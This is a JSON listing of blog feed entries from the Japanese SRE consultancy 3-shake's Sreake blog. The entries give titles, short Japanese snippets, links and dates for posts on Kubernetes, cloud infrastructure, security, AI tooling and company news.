インターン生のの小林です。大学では、ネットワーク系の研究を行っています。もともとセキュリティやネットワークに興味があり、SREやインフラ領域のスキル向上になると思い、本インターンに参加しました。 中村 イ […]The post Ciliumのkube-proxy置き換えに関する調査 ~ GKE Dataplane V1・V2 の比較 ~ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/cilium-kube-proxy-replacement/","isoDate":"2024-05-05T23:59:27.000Z","dateMiliSeconds":1714953567000,"authorName":"Sreake","authorId":"Sreake"},{"title":"【2024年夏期インターン】SREの技術について学びたいインターン募集!","contentSnippet":"リモートで開催する2週間程度で、技術に関する研究を行うインターンシッププログラムとなっています!当社SREエンジニアがメンターとしてサポートし、知識に不安をお持ちの方のために事前学習の期間を設けておりますので、インフラ、 […]The post 【2024年夏期インターン】SREの技術について学びたいインターン募集! first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/summer_intern/","isoDate":"2024-05-01T03:27:01.000Z","dateMiliSeconds":1714534021000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、 Google Cloud Infrastructure Modernization 支援パートナープログラムに賛同","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、 クラウドへのインフラストラクチャ移行を支援する Google Cloud Infrastructure Moderniza […]The post スリーシェイク、 Google Cloud Infrastructure Modernization 支援パートナープログラムに賛同 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/gcim/","isoDate":"2024-04-30T07:15:12.000Z","dateMiliSeconds":1714461312000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Istio Ambient Mesh の inpod redirection 試してみた","contentSnippet":"先日Istio 1.21.0がリリースされ ambient meshにinpod redirectionが実装されました。(ambient meshはまだalphaなので本番環境では非推奨です) inpod redire […]The post Istio Ambient Mesh の inpod redirection 試してみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/istio-ambient-mesh-inpod-redirection/","isoDate":"2024-04-23T06:05:05.000Z","dateMiliSeconds":1713852305000,"authorName":"Sreake","authorId":"Sreake"},{"title":"「セキュリティ・キャンプ全国大会2024」にスリーシェイクのエンジニアが講師として登壇","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)に在籍するエンジニアが、独立行政法人情報処理推進機構と一般社団法人セキュリティ・キャンプ協議会が共催する「セキュリティ・キャンプ […]The post 「セキュリティ・キャンプ全国大会2024」にスリーシェイクのエンジニアが講師として登壇 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/security/","isoDate":"2024-04-22T01:07:46.000Z","dateMiliSeconds":1713748066000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Google Cloud Next ‘24 参加レポート","contentSnippet":"参加レポート タイトルの通りラスベガスにて4/9から11まで開催されていた Google Cloud Next’24 に参加してきました。 今回は Google Cloud Partner Top Engineer 20 […]The post Google Cloud Next ‘24 参加レポート first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/google-cloud-next-24-report/","isoDate":"2024-04-17T23:00:00.000Z","dateMiliSeconds":1713394800000,"authorName":"Sreake","authorId":"Sreake"},{"title":"[Kubecon EU 2024: Cloud Native AI Day] Pods Everywhere! InterLink: A Virtual Kubelet Abstraction Streamlining HPC Resource Exploitation の紹介","contentSnippet":"はじめに INFNというイタリア国立核物理学研究所のメンバーであるディエゴさんが、「パブリッククラウド、オンプレミスの異種シミュレーション環境において、インターフェースの統一を目的としたプロジェクト」の紹介をするセッショ […]The post [Kubecon EU 2024: Cloud Native AI Day] Pods Everywhere! InterLink: A Virtual Kubelet Abstraction Streamlining HPC Resource Exploitation の紹介 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubecon-eu-2024-pods-everywhere-interlink-a-virtual-kubelet-abstraction-streamlining-hpc-resource-exploitation/","isoDate":"2024-04-08T03:46:21.000Z","dateMiliSeconds":1712547981000,"authorName":"Sreake","authorId":"Sreake"},{"title":"社内ChatBot (h1-slack-bot)にClaude 3を追加した話(+α)","contentSnippet":"1. はじめに はじめまして、Sreake事業部インターン生の井上です。私はSreake事業部にてSRE技術の調査と研究を行う目的で2023年3月6日から長期インターン生として参加しています。 この記事では、Anthro […]The post 社内ChatBot (h1-slack-bot)にClaude 3を追加した話(+α) first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/chatgpt-slack-integration-claude-3/","isoDate":"2024-03-29T02:50:00.000Z","dateMiliSeconds":1711680600000,"authorName":"Sreake","authorId":"Sreake"},{"title":"新人SREが0から始めるGKE上でのArgoCDによるWordPressデプロイ","contentSnippet":"はじめに はじめまして。Sreake事業部インターン生の高島です。2023年10月から長期インターン生としてKubernetes関連技術の習得とSRE技術の調査・検証を行っています。私は、情報系の大学院生で、普段は数値解 […]The post 新人SREが0から始めるGKE上でのArgoCDによるWordPressデプロイ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/deploy-wordpress-with-argocd-on-gke/","isoDate":"2024-03-21T23:34:40.000Z","dateMiliSeconds":1711064080000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Terraform workspace使って思ったこと","contentSnippet":"背景 そこまで大きな案件でもなく、 環境間の差分もあまりなさそうだったため 何より使ったことないから試してみようっていう好奇心 ある案件にて上記の理由から、Terraform workspaceを採用しました。 今回は、 […]The post Terraform workspace使って思ったこと first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/terraform-workspace/","isoDate":"2024-02-18T14:28:59.000Z","dateMiliSeconds":1708266539000,"authorName":"Sreake","authorId":"Sreake"},{"title":"OWASP Top 10 for Large Language Model Applications をまとめる","contentSnippet":"はじめに Sreake 事業部インターン生の中林です。私は、Sreake 事業部長期インターン生として SRE 技術の技術検証を行っています。 今回は、Sreake 事業部で作成している LLM アプリケーションに対する […]The post OWASP Top 10 for Large Language Model Applications をまとめる first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/owasp-top-10-for-llm-application/","isoDate":"2024-02-05T09:29:32.000Z","dateMiliSeconds":1707125372000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Google Cloudコスト増減の定期監視とアドバイスを行うCostChecker-Agentの紹介","contentSnippet":"1. はじめに はじめまして、Sreake事業部インターン生の井上です。私はSreake事業部にてSRE技術の調査と研究を行う目的で2023年3月6日から長期インターン生として参加しています。 この記事では、” […]The post Google Cloudコスト増減の定期監視とアドバイスを行うCostChecker-Agentの紹介 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/google-cloud-cost-checker-agent/","isoDate":"2024-01-25T02:17:39.000Z","dateMiliSeconds":1706149059000,"authorName":"Sreake","authorId":"Sreake"},{"title":"PR-Agentとその類似システムの解説","contentSnippet":"はじめに Sreake事業部でインターンをしている村山です。そのようなコードレビューの作業に対し、今日ではLLMを使用したレビュー用のツールが開発されています。今回はそのレビューツールの一つであるPR-Agentを中心に […]The post PR-Agentとその類似システムの解説 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/pr-agent-and-similar-systems/","isoDate":"2024-01-18T09:38:27.000Z","dateMiliSeconds":1705570707000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、「AWS アドバンストティアサービスパートナー」に昇格","contentSnippet":"株式会社スリーシェイクは、アマゾン ウェブ サービス(以下、AWS)のAWSパートナーネットワーク(APN)において「AWS アドバンストティアサービスパートナー」に認定されたことをお知らせいたします。The post スリーシェイク、「AWS アドバンストティアサービスパートナー」に昇格 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/aws-advancedtier/","isoDate":"2024-01-12T00:50:00.000Z","dateMiliSeconds":1705020600000,"authorName":"Sreake","authorId":"Sreake"},{"title":"PipeCDのインストールとカスタマイズ","contentSnippet":"はじめに はじめまして。Sreake事業部インターン生の荒木です。2023年10月から長期インターン生としてKubernetes関連技術の習得とSRE技術の調査・検証を行っています。 前回の記事では、Kubernetes […]The post PipeCDのインストールとカスタマイズ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/pipecd-installation/","isoDate":"2024-01-09T04:09:23.000Z","dateMiliSeconds":1704773363000,"authorName":"Sreake","authorId":"Sreake"},{"title":"PipeCDの概要","contentSnippet":"はじめに はじめまして。Sreake事業部インターン生の荒木です。2023年10月から長期インターン生としてKubernetes関連技術の習得とSRE技術の調査・検証を行っています。 この記事の目的は、Kubernete […]The post PipeCDの概要 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/pipecd-overview/","isoDate":"2024-01-09T04:05:16.000Z","dateMiliSeconds":1704773116000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Googleが提供するBIツール「Looker」とは?","contentSnippet":"はじめに 2023年10月30日、Googleが提供するBIツール「Looker」が政府認定クラウドサービス(通称 ISMAP) に認定されました。「Looker」が“政府認定クラウドサービス”に Google提供のBI […]The post Googleが提供するBIツール「Looker」とは? first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/learn-about-looker/","isoDate":"2023-12-28T00:11:29.000Z","dateMiliSeconds":1703722289000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Google Cloud 検証環境を頑張りすぎず良い感じに整えた話","contentSnippet":"はじめに こんにちは!Sreake事業部 横尾(@866mfs)です。 3-shakeでは、社員なら誰でもGoogle Cloud の各種サービスを検証できる、検証環境アカウント(ここでは ”test.org” と表記) […]The post Google Cloud 検証環境を頑張りすぎず良い感じに整えた話 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/make-better-google-cloud-verification/","isoDate":"2023-12-25T23:43:35.000Z","dateMiliSeconds":1703547815000,"authorName":"Sreake","authorId":"Sreake"},{"title":"社内チャットツールでGemini Proが使えるようになった話","contentSnippet":"1. はじめに はじめまして、Sreake事業部インターン生の井上です。私はSreake事業部にてSRE技術の調査と研究を行う目的で2023年3月6日から長期インターン生として参加しています。 本記事では、社内チャットツ […]The post 社内チャットツールでGemini Proが使えるようになった話 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/gemini-pro-introduction/","isoDate":"2023-12-21T08:49:07.000Z","dateMiliSeconds":1703148547000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Karpenter を Amazon EKS で使う","contentSnippet":"はじめに Kubernetes のノードのオートスケーラーである Karpenter は,Amazon EKS クラスタでの利用を中心に普及しつつあります。 Karpenter を調べてみた・使ってみた系記事はたくさんあ […]The post Karpenter を Amazon EKS で使う first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/karpenter-with-amazon-eks/","isoDate":"2023-12-14T05:17:05.000Z","dateMiliSeconds":1702531025000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Google Cloud Partner Top Engineer 2024 になりました","contentSnippet":"はじめに 今回、ありがたいことに、 Google Cloud Partner Top Engineer 2024(以降PTE)になりましたのでその軌跡をまとめます。 コチラの資料によって PTE になりたい人が増えてくれ […]The post Google Cloud Partner Top Engineer 2024 になりました first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/earn-google-cloud-partner-top-engineer-2024/","isoDate":"2023-12-14T05:15:38.000Z","dateMiliSeconds":1702530938000,"authorName":"Sreake","authorId":"Sreake"},{"title":"ECSの可用性設計を4つの軸で整理する","contentSnippet":"はじめに こんにちは!Sreake事業部 志羅山です。今年3月に3-shakeに入社し、長野県からリモートで仕事をしています(東京にも定期的に行ってます)。 最近、とあるお客様環境におけるECS(AWSのフルマネージド型 […]The post ECSの可用性設計を4つの軸で整理する first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/ecs-availability-4-factors/","isoDate":"2023-12-05T02:48:59.000Z","dateMiliSeconds":1701744539000,"authorName":"Sreake","authorId":"Sreake"},{"title":"データベース輪読会をやってみた話","contentSnippet":"はじめに こんにちは。株式会社スリーシェイク Sreake 事業部に所属している @suganamao です。Sreake 事業部は技術力が求められる領域で豊富な経験を持つ SRE の専門家が集まったチームです。事業部に […]The post データベース輪読会をやってみた話 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/database-reading-circle/","isoDate":"2023-11-29T03:45:53.000Z","dateMiliSeconds":1701229553000,"authorName":"Sreake","authorId":"Sreake"},{"title":"GitHubとCircleCIからFour Keysを計測する","contentSnippet":"はじめに Sreake事業部でインターンをしている村山です。私は以前に、DORAチームの提案したFour Keysという指標の計測システムの調査・検証を行いました。以前の検証では、GitHubとGitLab、及びモックデ […]The post GitHubとCircleCIからFour Keysを計測する first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/four-keys-with-github-circleci/","isoDate":"2023-11-22T01:25:41.000Z","dateMiliSeconds":1700616341000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、Google Cloud Japan の「Google Cloud Partner Top Engineer 2024」にて3名のエンジニアが受賞","contentSnippet":"株式会社スリーシェイクは、この度 Google Cloud Japan の「Google Cloud Partner Top Engineer 2024」において、スリーシェイクから3名のエンジニアが受賞したことをお知らせいたします。The post スリーシェイク、Google Cloud Japan の「Google Cloud Partner Top Engineer 2024」にて3名のエンジニアが受賞 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/google-cloud-partner-top-engineer-2024/","isoDate":"2023-11-20T00:50:00.000Z","dateMiliSeconds":1700441400000,"authorName":"Sreake","authorId":"Sreake"},{"title":"ChatGPTのFunctionCallをGolangで試してみる","contentSnippet":"1. はじめに はじめまして、Sreake事業部インターン生の井上です。私はSreake事業部にてSRE技術の調査と研究を行う目的で2023年3月6日から長期インターン生として参加しています。 今回、ChatGPTの新機 […]The post ChatGPTのFunctionCallをGolangで試してみる first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/chatgpt-function-call-with-golang/","isoDate":"2023-11-17T11:24:01.000Z","dateMiliSeconds":1700220241000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、生成AIを活用したSRE業務自動化への取り組みを発表","contentSnippet":"株式会社スリーシェイクが提供するSRE総合支援サービス「Sreake(スリーク)」は、「 Google Cloud 生成 AI パートナー エコシステム 」を活用して、SREの業務を自動化・効率化し、これまでの人的リソースへの依存度を軽減する取り組みを開始することをお知らせいたします。The post スリーシェイク、生成AIを活用したSRE業務自動化への取り組みを発表 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/generative-ai-sre/","isoDate":"2023-11-14T00:50:00.000Z","dateMiliSeconds":1699923000000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Time-Slicing GPUs を Kubernetes で利用する","contentSnippet":"はじめに Kubernetes にて、1つのGPUを複数コンテナ (※ Pod内の複数コンテナ、複数のPodを指す) で使い倒したい。そんな時はありますでしょうか。本記事では、NVIDIA/k8s-device-plug […]The post Time-Slicing GPUs を Kubernetes で利用する first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubernetes-time-slicing-gpu/","isoDate":"2023-10-31T08:39:06.000Z","dateMiliSeconds":1698741546000,"authorName":"Sreake","authorId":"Sreake"},{"title":"ShellCheckで自動化の品質を向上させる","contentSnippet":"はじめに Site Reliability Engineering (SRE) の領域では、トイル (toil) の削減と効率的なオペレーションが大きな課題となっています。トイルというのは、手作業で繰り返し行う作業のこと […]The post ShellCheckで自動化の品質を向上させる first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/shellcheck-automation-enhancement/","isoDate":"2023-10-31T02:32:20.000Z","dateMiliSeconds":1698719540000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Vertex AI Searchによる社内knowlegeの要約ツールをつくってみた","contentSnippet":"こんにちは、初めましての方もそうでない方も、Sreake事業部 佐藤慧太(@SatohJohn)です。 今回Google CloudのVertex AI Search(旧Enterprise Search)について検証の […]The post Vertex AI Searchによる社内knowlegeの要約ツールをつくってみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/vertex-ai-search-summary-tool/","isoDate":"2023-10-12T03:46:53.000Z","dateMiliSeconds":1697082413000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、 インシデント管理・運用プラットフォーム「PagerDuty」の導入支援サービスを正式リリース","contentSnippet":"株式会社スリーシェイクが提供するSRE総合支援サービス「Sreake(スリーク)」は、新たに 、システムのインシデント対応を一元化するプラットフォーム「PagerDuty」の導入支援サービス「PagerDutyパッケージ」を正式リリースいたしました。The post スリーシェイク、 インシデント管理・運用プラットフォーム「PagerDuty」の導入支援サービスを正式リリース first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/pagerduty-package/","isoDate":"2023-10-10T00:50:00.000Z","dateMiliSeconds":1696899000000,"authorName":"Sreake","authorId":"Sreake"},{"title":"SREとPlatform Engineerの違いを3つのポイントで理解する","contentSnippet":"はじめに プラットフォームエンジニアリング(Platform Engineering)とサイト信頼性エンジニアリング(SRE, Site Reliability Engineering)はともに、ITインフラとアプリケー […]The post SREとPlatform Engineerの違いを3つのポイントで理解する first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/3-diffs-with-sre-and-platform-engineer/","isoDate":"2023-10-04T03:49:57.000Z","dateMiliSeconds":1696391397000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Kubernetes における秘密情報の管理方法","contentSnippet":"自己紹介 竹下 2023年8月21日からインターンに参加している早稲田大学基幹理工学研究科 M1 竹下です。SRE関連の技術と,自身が研究しているセキュリティ分野との関係性を学びたいと思い、インターンに参加しました。 中 […]The post Kubernetes における秘密情報の管理方法 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubernetes-secret-management/","isoDate":"2023-09-25T08:35:29.000Z","dateMiliSeconds":1695630929000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、 Google Cloud Partner Advantage プログラムにおいて「インフラストラクチャ – サービス」のスペシャライゼーション認定を取得","contentSnippet":"Google Cloud – Sell エンゲージメントモデルにおけるプレミアパートナーである株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、Google Cl […]The post スリーシェイク、 Google Cloud Partner Advantage プログラムにおいて「インフラストラクチャ – サービス」のスペシャライゼーション認定を取得 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/google-cloud-specialization/","isoDate":"2023-09-22T00:50:00.000Z","dateMiliSeconds":1695343800000,"authorName":"Sreake","authorId":"Sreake"},{"title":"コンテナセキュリティ TetragonとPodSecurity/seccompの機能比較","contentSnippet":"自己紹介 高島 陸斗 千葉工業大学修士1年生の高島陸斗です。大学院では、コンピュータによる数値計算の厳密解との誤差がどの程度あるのかを調べる精度保証の精度を上げるための研究をしています。サイバーセキュリティに興味があり、 […]The post コンテナセキュリティ TetragonとPodSecurity/seccompの機能比較 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/container-security-comparison/","isoDate":"2023-09-11T07:22:29.000Z","dateMiliSeconds":1694416949000,"authorName":"Sreake","authorId":"Sreake"}]},"__N_SSG":true} \ No newline at end of file +{"pageProps":{"member":{"id":"Sreake","name":"Sreake","role":"","bio":"This Is The Sreake Section Blog.","avatarSrc":"/avatars/sreake.png","sources":["https://sreake.com/feed/"],"includeUrlRegex":"blog","excludeUrlRegex":"event","twitterUsername":"SreakeJ","githubUsername":"","websiteUrl":"https://sreake.com"},"postItems":[{"title":"スリーシェイク、「SRE総合支援コンサルティングサービス」および「Datadog導入支援サービス」を AWS Marketplace で提供開始","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)が提供する「SRE総合支援コンサルティングサービス」および「DataDog導入支援サービス」を AWS Marketplace で提供開始したことをお知らせします。The post スリーシェイク、「SRE総合支援コンサルティングサービス」および「Datadog導入支援サービス」を AWS Marketplace で提供開始 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/datadog_aws-marketplace/","isoDate":"2024-11-05T02:34:26.000Z","dateMiliSeconds":1730774066000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Generative AI Summit Tokyo ’24 Fallに参加しました","contentSnippet":"Sreake事業部インターン生の荒木です。先日Generative AI Summit Tokyo ’24 Fallに参加してまいりました!本イベントで得られた知見や、セッションの様子などを紹介します。 内容 […]The post Generative AI Summit Tokyo ’24 Fallに参加しました first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/generative-ai-summit-tokyo-24-fall-2/","isoDate":"2024-11-05T01:02:35.000Z","dateMiliSeconds":1730768555000,"authorName":"Sreake","authorId":"Sreake"},{"title":"FinOpsとは 〜クラウドネイティブ・SRE・CCoEの導入によるFinOpsの実践〜","contentSnippet":"目次 はじめに FinOpsとは クラウド利用コストに関する課題 Finopsの実現に必要なこと、導入方法 FinOpsの取り組み例 結論 1. はじめに 現在、さまざまな業界の多種多様なシステムにおいて、クラウドサービ […]The post FinOpsとは 〜クラウドネイティブ・SRE・CCoEの導入によるFinOpsの実践〜 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/finops%e3%81%a8%e3%81%af/","isoDate":"2024-11-01T04:08:54.000Z","dateMiliSeconds":1730434134000,"authorName":"Sreake","authorId":"Sreake"},{"title":"クラウドネイティブとは 〜新時代を切り拓くためのCCoE・SRE導入と実践〜","contentSnippet":"目次 はじめに クラウドネイティブとは何か クラウドネイティブが、システム開発や運用にもたらすメリット クラウドネイティブなシステムを構築、運用するためのポイントや始め方 代表的なクラウドネイティブ技術 クラウドネイティ […]The post クラウドネイティブとは 〜新時代を切り拓くためのCCoE・SRE導入と実践〜 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/%e3%82%af%e3%83%a9%e3%82%a6%e3%83%89%e3%83%8d%e3%82%a4%e3%83%86%e3%82%a3%e3%83%96%e3%81%a8%e3%81%af/","isoDate":"2024-11-01T04:08:34.000Z","dateMiliSeconds":1730434114000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Platform Engineeringとは 〜SRE導入で目指す開発者体験の革新〜","contentSnippet":"目次 はじめに Platform Engineeringとは何か Platform Engineeringがもたらすメリット Platform Engineeringを始める時のポイント 代表的なPlatform Eng […]The post Platform Engineeringとは 〜SRE導入で目指す開発者体験の革新〜 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/platform-engineering/","isoDate":"2024-11-01T04:08:14.000Z","dateMiliSeconds":1730434094000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Cilium Node IPAM LBによるロードバランシング","contentSnippet":"目次 はじめに Ciliumのロードバランシング方法 Node IPAM LB 検証 環境構築 Serviceの作成 externalTrafficPolicy ノードの制限 実装 まとめ 参照 はじめに Sreake事 […]The post Cilium Node IPAM LBによるロードバランシング first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/cilium-node-ipam-lb-load-balancing/","isoDate":"2024-10-28T05:08:45.000Z","dateMiliSeconds":1730092125000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、 「内製化支援推進 AWS パートナー」認定を取得","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、 アマゾン ウェブ サービス(以下AWS)の AWS パートナープログラムにおける「内製化支援推進 AWS パートナー」に認定されたことをお知らせします。The post スリーシェイク、 「内製化支援推進 AWS パートナー」認定を取得 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/aws_partner/","isoDate":"2024-10-23T01:00:00.000Z","dateMiliSeconds":1729645200000,"authorName":"Sreake","authorId":"Sreake"},{"title":"KubernetesセキュリティDeep Dive","contentSnippet":"自己紹介 高橋 楓 公立千歳科学技術大学理工学部2年の高橋楓です。普段は趣味や他社の長期インターンにてソフトウェア開発を行っており、インフラ基盤にはDockerを利用しています。しかし、KubernetesやGoogle […]The post KubernetesセキュリティDeep Dive first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubernetes-security-deep-dive/","isoDate":"2024-10-21T11:49:27.000Z","dateMiliSeconds":1729511367000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、「Developers X Summit 2024」に出展","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)が提供するSRE総合支援サービス「Sreake(スリーク)」は、2024年11月14日(木) に開催される「Developers X Summit 2024」にブース出展することをお知らせします。The post スリーシェイク、「Developers X Summit 2024」に出展 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/developers-x-summit-2024/","isoDate":"2024-10-15T01:36:55.000Z","dateMiliSeconds":1728956215000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、「Biz/Zine Day 2024 Autumn」に出展","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)が提供するSRE総合支援サービス「Sreake(スリーク)」は、2024年10月30日(水) に開催される「Biz/Zine Day 2024 Autumn」にブース出展することをお知らせします。The post スリーシェイク、「Biz/Zine Day 2024 Autumn」に出展 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/biz-zine-day-2024-autumn/","isoDate":"2024-10-10T01:18:48.000Z","dateMiliSeconds":1728523128000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、Generative AI Summit Tokyo ’24 Fall に協賛","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、2024年10月8日(火)にGoogle 渋谷オフィスで開催される「Modern Infra & Apps Summit ’24」 (主催:グーグル・クラウド・ジャパン合同会社) にスポンサーとして協賛し、セッション登壇することをお知らせします。The post スリーシェイク、Generative AI Summit Tokyo ’24 Fall に協賛 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/generative-ai-summit-tokyo-24-fall/","isoDate":"2024-10-03T01:12:24.000Z","dateMiliSeconds":1727917944000,"authorName":"Sreake","authorId":"Sreake"},{"title":"ポストCloud9?クラウドIDE CoderでPlatform Engineeringを実践する","contentSnippet":"はじめに こんにちは、Sreake事業部の志羅山です。 早いものでもう10月。私が住む長野県はもう朝晩の気温は10℃台となり、日中もとても過ごしやすい気候です。振り返ると今年の夏は天気も不安定で、とても暑い夏でしたね・・ […]The post ポストCloud9?クラウドIDE CoderでPlatform Engineeringを実践する first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/platform-engineering-with-cloud-ide-coder/","isoDate":"2024-10-03T00:44:56.000Z","dateMiliSeconds":1727916296000,"authorName":"Sreake","authorId":"Sreake"},{"title":"BigQuery データキャンバスについて","contentSnippet":"はじめに こんにちは。Sreake事業部DBREチームのsenoです。10月に入り、暦の上では秋となりました。とはいえ夏の暑さはまだまだ続いておりますね。 最近は、気持ちだけでも秋を感じるために「〇〇の秋」と称して色々や […]The post BigQuery データキャンバスについて first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/learn-about-bigquery-datacanvas/","isoDate":"2024-10-02T09:25:24.000Z","dateMiliSeconds":1727861124000,"authorName":"Sreake","authorId":"Sreake"},{"title":"インテックとスリーシェイク、クラウド事業領域で協業し、ユーザー企業のDXを推進 ~両社の得意分野を活かしたクラウドシフトとモダン開発を実現~","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、2024年10月8日(火)にGoogle 渋谷オフィスで開催される「Modern Infra & Apps Summit ’24」 (主催:グーグル・クラウド・ジャパン合同会社) にスポンサーとして協賛し、セッション登壇することをお知らせします。The post インテックとスリーシェイク、クラウド事業領域で協業し、ユーザー企業のDXを推進 ~両社の得意分野を活かしたクラウドシフトとモダン開発を実現~ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/intec_3shake/","isoDate":"2024-09-30T05:01:51.000Z","dateMiliSeconds":1727672511000,"authorName":"Sreake","authorId":"Sreake"},{"title":"DevEXとは","contentSnippet":"目次 はじめに DevExとは何か DevExがアプリケーションとインフラにもたらすメリット DevExを始める時のポイント 代表的なDevEx技術 DevExに関する事例 Sreakeでできること 1. はじめに De […]The post DevEXとは first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/devex%e3%81%a8%e3%81%af/","isoDate":"2024-09-30T01:35:53.000Z","dateMiliSeconds":1727660153000,"authorName":"Sreake","authorId":"Sreake"},{"title":"DevOpsとは","contentSnippet":"目次 はじめに DevOpsとは何か DevOpsがもたらすメリット DevOpsを始める時のポイント DevOpsに関連する技術や組織 DevOpsに関する事例 Sreakeでできること 1. はじめに DevOpsは […]The post DevOpsとは first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/devops%e3%81%a8%e3%81%af/","isoDate":"2024-09-30T01:35:30.000Z","dateMiliSeconds":1727660130000,"authorName":"Sreake","authorId":"Sreake"},{"title":"オブザーバビリティとは","contentSnippet":"目次 はじめに オブザーバビリティとは、従来の監視との違い 代表的なオブザーバビリティツールと機能の特徴 オブザーバビリティツール導入のポイント オブザーバビリティツールの導入事例 Sreakeでできること 1. はじめ […]The post オブザーバビリティとは first appeared on sreake.com | 